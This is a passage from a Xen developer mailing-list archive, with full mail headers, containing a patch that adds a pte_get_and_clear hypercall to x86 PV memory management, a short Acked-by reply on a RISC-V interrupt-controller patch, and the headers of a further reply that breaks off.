ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=ujfQculv3wHfFyekrZ5tWOrthojOAbuyk/54bXUGct4=;
 b=RGoDZDx3ikcs5wm77zia7brzx6sQ8wcD18HI9QZlaoUAkFiG4vLrT374sVtYXRggMNj3v9/jDFUHcZzGfzQ8Mvw7JYYElO1i11tv0bjsnQY1sG8RYzLyIcykJ/V6/LPg1wAe6P30AjnBFI/DjEeFE9of6uivXvb+KiSXYr5Ns3TcGuOU7zjz41GWbAHxv9GKSYdBlTF9wnVkX46k5igvc29cv+6XWGlWplGtDD7uTSwv9WfOl9untPfGuLRQltIoQDGrgOQWr4XXIjMnhfKEo0ectIhdnHWDBp+hldXe486UEYceWdFhUlyq692VFW3/bBxirGJSeGZKmCOysvjviA==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=citrix.com; dmarc=pass action=none header.from=citrix.com;
 dkim=pass header.d=citrix.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=citrix.com;
 s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=ujfQculv3wHfFyekrZ5tWOrthojOAbuyk/54bXUGct4=;
 b=nA8TbS+M5zVDtVgljFnXdmsxKb57AonEJqplL5ZJcbjZt3gzIJgnPihkoFg4JMM1yqse4adfSPVu+MyUg5eeIgd/QKQtSznuVAyRy8BTYXQpZfpg5wAVx2AV1klwMRfz8H3g4MhgXUG+DGgiIO/0933ArAgZ0LJdTbpDAYjdyVE=
Authentication-Results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=citrix.com;
From: Kevin Lampis <kevin.lampis@citrix.com>
To: xen-devel@lists.xenproject.org
Cc: jbeulich@suse.com,
	andrew.cooper3@citrix.com,
	roger.pau@citrix.com,
	Kevin Lampis <kevin.lampis@citrix.com>
Subject: [PATCH 4/4] x86: add new pte_get_and_clear hypercall
Date: Mon, 27 Jul 2026 16:06:15 +0100
Message-ID: <20260727150615.1373200-5-kevin.lampis@citrix.com>
X-Mailer: git-send-email 2.52.0
In-Reply-To: <20260727150615.1373200-1-kevin.lampis@citrix.com>
References: <20260727150615.1373200-1-kevin.lampis@citrix.com>
Content-Transfer-Encoding: 8bit
Content-Type: text/plain
X-ClientProxiedBy: LO4P123CA0576.GBRP123.PROD.OUTLOOK.COM
 (2603:10a6:600:276::23) To BY1PR03MB7996.namprd03.prod.outlook.com
 (2603:10b6:a03:5b2::8)
MIME-Version: 1.0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: BY1PR03MB7996:EE_|SA3PR03MB8182:EE_
X-MS-Office365-Filtering-Correlation-Id: 7fbd3f07-383e-4a26-3678-08deebf07907
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|1800799024|23010399003|366016|376014|18002099003|56012099006|11063799006|22082099003|10067099003;
X-Microsoft-Antispam-Message-Info:
	oSKSOAwFZLLKaLKdryqMteqUGUHxX6rfKwmR7Q8fALr9NsnUwCnO+WkAAdsrUVFgcnAGR1QEedC7q8T77pPYzIW29PHED5ah5dLDveXn6byLYYMs8qNiCUDYXYwDGSpV/K/enQGSBX+wqky3bmUQmeMbv9sybzILrnt2Rs20VYYuWmfukuarN0Iwbi/AmfP7gU2Y/QEt5Fq7GS0fh0/8GEvi5VLBzLZKcf+THh/k24tJpz0GzwtnsjttOYygFHHfdI5+mI58bR/eFHgrqQCMo/MwFOUPJ0MkfD/9HbPnSHlisLAFRi9kJl4EiY2GPc8k5FkFnaKR0Y4hL7/cqqeEV4HVrQIttiYRYnqyUtGZ1XFJ3BPg20djEOq09igSLtXJQAMDQxhgo8ZISg+72L9kCc4O3aLEvFtsr8Fwo6TT0dKiKJOlb+u4Ldzypz+ejE/Lo4bnmm1m3ltWyzekaZy4UzE9Ynm67TmgSWnPMT6OL1sbZzjBb/Fl+WFADYbxXL26JP6kg/4xm8s90L7phf5+vwaKzFKZNemX7K1R+qJ7BUMfx32Yc3SiumQT9n2qSGmozNOyvUug4F0HgR552gk3ek/SvPuT4YymVX1RE+O5/XitWlss1SPnoj5ZdU8kPz2JfqwStc3TvXjiRV4qNI4cXvaWcXier2HPqfGyXmzPF8M=
X-Forefront-Antispam-Report:
	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:BY1PR03MB7996.namprd03.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(1800799024)(23010399003)(366016)(376014)(18002099003)(56012099006)(11063799006)(22082099003)(10067099003);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 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XScIy?=
 =?us-ascii?Q?Rf/tDyi0ef7NGJdBgCfiHPpC9IP+s+TZVOVzjgNVXH26xTnVNHua5h3anw78?=
 =?us-ascii?Q?oAqVmX9vWQ=3D=3D?=
X-OriginatorOrg: citrix.com
X-MS-Exchange-CrossTenant-Network-Message-Id: 7fbd3f07-383e-4a26-3678-08deebf07907
X-MS-Exchange-CrossTenant-AuthSource: BY1PR03MB7996.namprd03.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 27 Jul 2026 15:05:18.9583
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: 335836de-42ef-43a2-b145-348c2ee9ca5b
X-MS-Exchange-CrossTenant-MailboxType: HOSTED
X-MS-Exchange-CrossTenant-UserPrincipalName: i7Y04Od7Kd3YQuMtUXJUGKr7uuoRGE4twA5a4uxZ7WNh9Y03QVrjhCRLYt2+Q3Gx81iGy+3EIkUMg6eXwypzaA==
X-MS-Exchange-Transport-CrossTenantHeadersStamped: SA3PR03MB8182
X-purgate-ID: tlsNG-bad1c0/1785164723-3A8D9034-D49B0814/0/0
X-purgate-type: clean
X-purgate-size: 4655

This new hypercall uses the same interface as the mmu_update hypercall except
the old PTE value is returned in the mmu_update_t->val field.

The purpose of this new hypercall is to improve performance over the current
trap and emulate behavior. Only l1 PTEs are supported because they have the
biggest performance impact.

Signed-off-by: Kevin Lampis <kevin.lampis@citrix.com>
---
 xen/arch/x86/mm.c            | 24 +++++++++++++++++-------
 xen/include/hypercall-defs.c |  2 ++
 xen/include/public/xen.h     |  1 +
 3 files changed, 20 insertions(+), 7 deletions(-)

diff --git a/xen/arch/x86/mm.c b/xen/arch/x86/mm.c
index 278b992aca5c..e5fdfc66081a 100644
--- a/xen/arch/x86/mm.c
+++ b/xen/arch/x86/mm.c
@@ -3993,6 +3993,7 @@ static long __do_mmu_update(
     unsigned int count,
     XEN_GUEST_HANDLE_PARAM(uint) pdone,
     unsigned int foreigndom,
+    unsigned int op,
     bool write_back_old)
 {
     struct mmu_update req;
@@ -4013,8 +4014,7 @@ static long __do_mmu_update(
     {
         if ( likely(rc == -ERESTART) )
             rc = hypercall_create_continuation(
-                     __HYPERVISOR_mmu_update, "hihi", ureqs, count, pdone,
-                     foreigndom);
+                     op, "hihi", ureqs, count, pdone, foreigndom);
         return rc;
     }
 
@@ -4316,8 +4316,8 @@ static long __do_mmu_update(
 
     if ( rc == -ERESTART )
         rc = hypercall_create_continuation(
-            __HYPERVISOR_mmu_update, "hihi",
-            ureqs, (count - i) | MMU_UPDATE_PREEMPTED, pdone, foreigndom);
+            op, "hihi", ureqs, (count - i) | MMU_UPDATE_PREEMPTED,
+            pdone, foreigndom);
     else if ( curr->arch.old_guest_table )
     {
         XEN_GUEST_HANDLE_PARAM(void) null;
@@ -4330,8 +4330,7 @@ static long __do_mmu_update(
          * on the fact that this argument isn't needed anymore.
          */
         rc = hypercall_create_continuation(
-                __HYPERVISOR_mmu_update, "hihi", null,
-                MMU_UPDATE_PREEMPTED, null, rc);
+                op, "hihi", null, MMU_UPDATE_PREEMPTED, null, rc);
     }
 
     put_pg_owner(pg_owner);
@@ -4417,7 +4416,18 @@ long do_mmu_update(
     XEN_GUEST_HANDLE_PARAM(uint) pdone,
     unsigned int foreigndom)
 {
-    return __do_mmu_update(ureqs, count, pdone, foreigndom, false);
+    return __do_mmu_update(ureqs, count, pdone, foreigndom,
+                           __HYPERVISOR_mmu_update, false);
+}
+
+long do_pte_get_and_clear(
+    XEN_GUEST_HANDLE_PARAM(mmu_update_t) ureqs,
+    unsigned int count,
+    XEN_GUEST_HANDLE_PARAM(uint) pdone,
+    unsigned int foreigndom)
+{
+    return __do_mmu_update(ureqs, count, pdone, foreigndom,
+                           __HYPERVISOR_pte_get_and_clear, true);
 }
 
 #endif /* CONFIG_PV */
diff --git a/xen/include/hypercall-defs.c b/xen/include/hypercall-defs.c
index a625d634b694..0552e93ab560 100644
--- a/xen/include/hypercall-defs.c
+++ b/xen/include/hypercall-defs.c
@@ -174,6 +174,7 @@ multicall(multicall_entry_t *call_list, unsigned long nr_calls)
 #ifdef CONFIG_PV
 mmuext_op(mmuext_op_t *uops, unsigned int count, unsigned int *pdone, unsigned int foreigndom)
 mmu_update(mmu_update_t *ureqs, unsigned int count, unsigned int *pdone, unsigned int foreigndom)
+pte_get_and_clear(mmu_update_t *ureqs, unsigned int count, unsigned int *pdone, unsigned int foreigndom)
 stack_switch(unsigned long ss, unsigned long esp)
 fpu_taskswitch(int set)
 set_debugreg(int reg, unsigned long value)
@@ -232,6 +233,7 @@ caller: arm
 table:                             pv32     pv64     hvm32    hvm64    arm
 set_trap_table                     compat   do       -        -        -
 mmu_update                         do:1     do:1     -        -        -
+pte_get_and_clear                  do:1     do:1     -        -        -
 set_gdt                            compat   do       -        -        -
 stack_switch                       do:2     do:2     -        -        -
 set_callbacks                      compat   do       -        -        -
diff --git a/xen/include/public/xen.h b/xen/include/public/xen.h
index 2149b8dd3808..9e2ba0107d3b 100644
--- a/xen/include/public/xen.h
+++ b/xen/include/public/xen.h
@@ -118,6 +118,7 @@ DEFINE_XEN_GUEST_HANDLE(xen_ulong_t);
 #define __HYPERVISOR_xenpmu_op            40
 #define __HYPERVISOR_dm_op                41
 #define __HYPERVISOR_hypfs_op             42
+#define __HYPERVISOR_pte_get_and_clear    43
 
 /* Architecture-specific hypercall definitions. */
 #define __HYPERVISOR_arch_0               48
-- 
2.52.0



From xen-devel-bounces@lists.xenproject.org Mon Jul 27 15:19:29 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 27 Jul 2026 15:19:29 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1371763.1619235 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woN6q-0007dM-Gp; Mon, 27 Jul 2026 15:19:16 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1371763.1619235; Mon, 27 Jul 2026 15:19:16 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woN6q-0007dF-Dm; Mon, 27 Jul 2026 15:19:16 +0000
Received: by outflank-mailman (input) for mailman id 1371763;
 Mon, 27 Jul 2026 15:19:15 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1woN6p-0007d9-FD
 for xen-devel@lists.xenproject.org; Mon, 27 Jul 2026 15:19:15 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1woN6o-001k0v-7z
 for xen-devel@lists.xenproject.org; Mon, 27 Jul 2026 17:19:14 +0200
Received: from [10.42.69.3] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a6776e1-5cb7-0a2a0a5109dd-0a2a4503b71e-24
 for <xen-devel@lists.xenproject.org>; Mon, 27 Jul 2026 17:19:14 +0200
Received: from [209.85.128.42] (helo=mail-wm1-f42.google.com)
 by tlsNG-33051d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a6776f1-fae8-0a2a45030019-d155802aa9ed-3
 for <xen-devel@lists.xenproject.org>; Mon, 27 Jul 2026 17:19:14 +0200
Received: by mail-wm1-f42.google.com with SMTP id
 5b1f17b1804b1-4954a9e8490so19889045e9.1
 for <xen-devel@lists.xenproject.org>; Mon, 27 Jul 2026 08:19:14 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-4957e334f63sm195479555e9.1.2026.07.27.08.19.11
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Mon, 27 Jul 2026 08:19:12 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1785165553; x=1785770353; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=buzS5elld4WXgqvh6aKSEm5gegztoi/eCUi3U+AJwQA=;
        b=Kgypshuk8q31fnpIYmyirstTaZYxNtKXbs+vDDVnZ86jjFswWDi0Xh3BWE6BTBGE8O
         4AFxS971SISKSi59mWYUjlopvZsQ7NnI0XQOnUcGPa3VfSZ+gx70VG7tX1KxHWvidPys
         weYSWmLSQXaVIodB84aQiyfNy62Q1CAa1TYP8escKaZ7Dky4TiNBuAFrwx9GwpUXphPN
         oFZ7MsgT8WL8J87f5nI6GpZRRH+65uNvupTvRYYS/f9szDUTqhDUBNZwU/HFByAaa2vS
         cP8hV77gOQSt/h0R4RM8gn3N1cYu8YIjKBxjOR2Llnjqq+1k+98fKEFlrpPpIi/+X3ml
         retg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785165553; x=1785770353;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=buzS5elld4WXgqvh6aKSEm5gegztoi/eCUi3U+AJwQA=;
        b=dNBSGS9Yv4qZrNpoan0oPoBD2CNpHhQ/We7jyctdnOKGKAcBup2HSsEOA4Q6yEyS1m
         qEMgHtm+o9F843CdsjiJSlnUL4bQ32/JZFCGrf8Xy0VFIH4+/CG3RNkGC6m5s/7kPEmG
         HPFt6sqiAtaMAm8CAUiBf2XG3OhNAOLy1xUk/Efa8E3dfU0gaVUnd0u076Uc7zwR/DgY
         73eUPP00H3pFa/2bn2pqQyUpojTHxNiT+iE3asxP5pNEA3ih36IjJA0xfcv6uCMHunWZ
         IfSjmrxvocl98aMmoV5ozZC2Gbd/MWB/FCv8WNnTJSji/AUkegHEAnFsYJF9imVpZjI1
         HwxA==
X-Forwarded-Encrypted: i=1; AHgh+RqUMsm7zX5cEQdM9GaUFYyVV6WtqDZMOdMlQbJp1itHUXOD+fi62tTyICcCBii0qMG/hXxCV9ysKcE=@lists.xenproject.org
X-Gm-Message-State: AOJu0YwmP85FxkSvYRo/pg0185M0svW2jtMBubjaAe/j6aBpMUWdSyI6
	AW7zEQx2zNpsrcRWdssLmH9tb4vlLx8kx4WyiXuOvNOyyRRwt0sp1bya+PWgX8ASnQ==
X-Gm-Gg: AR+sD12YgBQcBipO+bymViMPPRKPShVgQjs5XsATG6hHWd9LUrqurwqXTL/5etNvJsE
	qlsA2CNDLWIfqDynnYUrYzR1U5Nqxui98kaTTA0t60cATetqQEQ/2VC+wBdIg8g5w+1nyje0I2B
	7fFG7HbLnpVK6TlN7Jr91bBgZQ6YdKKeD+XahMC42LcJw4d+mXhv7gSqloDXJ8undLFJQGZo0U/
	xyTQEwLdCgXBBhJ94RLOnNwVvrb2CAhiZq/BYChbB12lHZqs6R4LuaJeJV2P92CUhDFDgC+quqr
	+/sgCyyCAk93SNmcevsXKAl73qg+/y41gSE++GyI38mQo2dBLMFN/nWIWhoCaf+lJWnoNaLKWUn
	TZrZYvvBI0tNCBBGQ/oToKURbYJxzvQUo6TWZiGnbR3USnDiqtx4CRTaNsFTXp25FkkpQwuseXm
	lFodXHt/kDw1MxeXIowhV42Hgj+W1NHNDtn9lCdX+vdyw/kbhLXoA=
X-Received: by 2002:a05:600c:8b4c:b0:493:f783:c46a with SMTP id 5b1f17b1804b1-496b5b474e2mr110090835e9.6.1785165553650;
        Mon, 27 Jul 2026 08:19:13 -0700 (PDT)
Message-ID: <e630574d-320c-47e7-af59-2a6855603939@suse.com>
Date: Mon, 27 Jul 2026 17:19:11 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v1 01/17] xen/riscv: manage IRQ_DISABLED flag in APLIC irq
 enable/disable callbacks
To: Oleksii Kurochko <oleksii.kurochko@gmail.com>
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
 Baptiste Le Duc <baptiste.le-duc@vates.tech>,
 Alistair Francis <alistair.francis@wdc.com>,
 Connor Davis <connojdavis@gmail.com>,
 Andrew Cooper <andrew.cooper3@citrix.com>,
 Anthony PERARD <anthony.perard@vates.tech>,
 Michal Orzel <michal.orzel@amd.com>, Julien Grall <julien@xen.org>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger@xenproject.org>,
 Stefano Stabellini <sstabellini@kernel.org>, xen-devel@lists.xenproject.org
References: <cover.1784560663.git.oleksii.kurochko@gmail.com>
 <a6d85647d0d726ffb25708829813510421ed5234.1784560663.git.oleksii.kurochko@gmail.com>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCd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P7AAMFB/9PQK/VtlNUJvg8GXj9ootzrteGfVZVVT4XBJkfwBcpC/XcPzldjv+3
 HYudvpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <a6d85647d0d726ffb25708829813510421ed5234.1784560663.git.oleksii.kurochko@gmail.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-33051d/1785165554-772F54E9-FA4E8D3B/10/73395122804
X-purgate-type: spam
X-purgate-size: 800

On 20.07.2026 18:01, Oleksii Kurochko wrote:
> desc->status is only set once during setup_irq(), but interrupts can be
> enabled/disabled at runtime, so update it in the corresponding callbacks.
> 
> For the purposes of the FENCE instruction, CSR read accesses are
> classified as device input (I) and CSR write accesses as device output
> (O), while the barriers used by spin locks (fence rw,rw) only order
> normal memory accesses. An explicit wmb() (fence ow,ow) is therefore
> added in aplic_irq_{enable,disable}() to order the desc->status update
> with respect to the IMSIC CSR write.
> 
> Fixes: d4676a1398bc5 ("xen/riscv: implementation of aplic and imsic operations")
> Signed-off-by: Oleksii Kurochko <oleksii.kurochko@gmail.com>

Acked-by: Jan Beulich <jbeulich@suse.com>



From xen-devel-bounces@lists.xenproject.org Mon Jul 27 15:22:01 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 27 Jul 2026 15:22:01 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1371771.1619243 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woN9T-0000i2-Sq; Mon, 27 Jul 2026 15:21:59 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1371771.1619243; Mon, 27 Jul 2026 15:21:59 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woN9T-0000hv-Pd; Mon, 27 Jul 2026 15:21:59 +0000
Received: by outflank-mailman (input) for mailman id 1371771;
 Mon, 27 Jul 2026 15:21:58 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1woN9S-0000hp-BZ
 for xen-devel@lists.xenproject.org; Mon, 27 Jul 2026 15:21:58 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1woN9R-00C2nv-Ix
 for xen-devel@lists.xenproject.org; Mon, 27 Jul 2026 17:21:57 +0200
Received: from [10.42.69.7] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a677786-bab6-0a2a0a5309dd-0a2a45079cf0-24
 for <xen-devel@lists.xenproject.org>; Mon, 27 Jul 2026 17:21:57 +0200
Received: from [209.85.221.46] (helo=mail-wr1-f46.google.com)
 by tlsNG-ef75cf.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a677795-b4ea-0a2a45070019-d155dd2eecf3-3
 for <xen-devel@lists.xenproject.org>; Mon, 27 Jul 2026 17:21:57 +0200
Received: by mail-wr1-f46.google.com with SMTP id
 ffacd0b85a97d-476a130c138so2774324f8f.0
 for <xen-devel@lists.xenproject.org>; Mon, 27 Jul 2026 08:21:57 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47f85b9a5d9sm48106900f8f.5.2026.07.27.08.21.55
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Mon, 27 Jul 2026 08:21:56 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1785165717; x=1785770517; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=PHfNj3rPAqTUD3/jrcxv/70F+JeLAtHUxp0y1WIHsAY=;
        b=XOAYiemNVF/jv32mCkmZvHOXzccr/IDr+cy3aeQMAiVhIc96cqbpHhQngYWFv3rrft
         pNr0ypD6cM7Z3nEy7CDfke2z5hmPqzIN0NUK/HoFA931QwU6lhKSHetIGFG3/4z+0stv
         iSOotgljv0hLfXwA29Qit0DoCZkrkJGQ0wbQDSEHfh4wl8ZpQT6JlBmVPuRTbBbTZAzS
         bemOZDi1Qp5y0U05m2iyU7TX5PrZpYlTfCnjTppx+cd8pMGgaJaxO39+2i7/YeqXYY3K
         nn4ObdM6Bhs4W+L+GJSS/Q2N/yIskULp1XO+picUVWlrkJWQ4XG9rCl+76NHtw+/pfXt
         vvhQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785165717; x=1785770517;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=PHfNj3rPAqTUD3/jrcxv/70F+JeLAtHUxp0y1WIHsAY=;
        b=Yxk3WcglSD+ruhAzFp/RphBmjp3AKJpHNNPzRPbYP9tUdLoQ2BRThTZthGW5nZmfp5
         jYdfEedJ356+efePx2RL6meOEdqzuOX69pfifxwN10JXPyYpFPQ9gA1rKwvioKNjRhgz
         Z4RWeg4cC5Ne5leYIzesfCKhnSBMrnqUGX5Dr9v1dIRQK9HBf9kZ8ZaEA+607ShzC0JI
         b0QGQALWKni3SnRQy2Pn/td5vrh1N+9QfKL+lwEuTZVOLcIKDcBiPwC9ZAyaKZYf4V5J
         S9hBWC/Q/0Nn9CPm9ALgd52NVWVQKYk8yXLmu4a2KlaOMAXfplnolvYFwxHRLPewcqaM
         3UXw==
X-Forwarded-Encrypted: i=1; AHgh+RpTND10p0mT3iulywlQkjaOU6ixdg9jUU8LuVuCqVdFEhebmoeoSMsS2qSZvfVcUnxBwGYbK1GC1XM=@lists.xenproject.org
X-Gm-Message-State: AOJu0YwiFEZJfZ0P4MEs1rEMUjhJj2qGJNUfvK745VTV8bR678YRSAgD
	1AvRHX75DexlGEf9O6Gw75uNcpmen4/80McEsKuEC1/k93LDsuFFz5cB+GGH+kKKWA==
X-Gm-Gg: AR+sD10OS+umis/DSzlX2ukS4GMEu6+URaU0ISCrIrBe9aKj+uG7D/fTqmzQi8OYZoZ
	9/8etZWGVtvp2ineF0oIfhsQPAEiQI9O7BVcXV3zy4xn7GgJMJAZp4zLQ8jMJypynSCCjhQ+Rk4
	pUaSdXeqU0f9Z3oiayUpg+S/lIaEO93kCeMNc66DOY7SLoFSOS26/JDYCuchdcfd/VYelx8SMm6
	oLmgLHX6r3Cmmea6QHQSQpv+fjTrwPjIlqnajGpLXDncKm+a7hNSkq/jkIx/eQ/0lMMQ8Fcz1LC
	x9afC23Owu+OhwFp0H5krxrYPKxy8THBUIMaWZ9KNUUlmSrkO3ITqdMtNQL48mD057o5g5eJlk6
	ZKAf99UCmhLOrTgY9nnu07kHwtWuvX+BFOKffvmqJ2GJT20grFh62gMycXbaRJx8lLew1QqlyOv
	lQfCRlvTq+aMfev/uJdmCNfCqEwkAW71gdvZ1Y1bx+ocSCbdDUxibWFp7peYlk0SLFtA==
X-Received: by 2002:a05:6000:24c9:b0:47f:8860:5663 with SMTP id ffacd0b85a97d-47f9fe92f7cmr12045076f8f.34.1785165716843;
        Mon, 27 Jul 2026 08:21:56 -0700 (PDT)
Message-ID: <29fcc402-f953-4b51-b077-729bb0e5b4e0@suse.com>
Date: Mon, 27 Jul 2026 17:21:55 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v1 00/17] [RISC-V] virtual interrupt controller
 (vAPLIC/vIMSIC) support
To: Oleksii Kurochko <oleksii.kurochko@gmail.com>
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
 Baptiste Le Duc <baptiste.le-duc@vates.tech>,
 Alistair Francis <alistair.francis@wdc.com>,
 Connor Davis <connojdavis@gmail.com>,
 Andrew Cooper <andrew.cooper3@citrix.com>,
 Anthony PERARD <anthony.perard@vates.tech>,
 Michal Orzel <michal.orzel@amd.com>, Julien Grall <julien@xen.org>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger@xenproject.org>,
 Stefano Stabellini <sstabellini@kernel.org>, xen-devel@lists.xenproject.org
References: <cover.1784560663.git.oleksii.kurochko@gmail.com>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
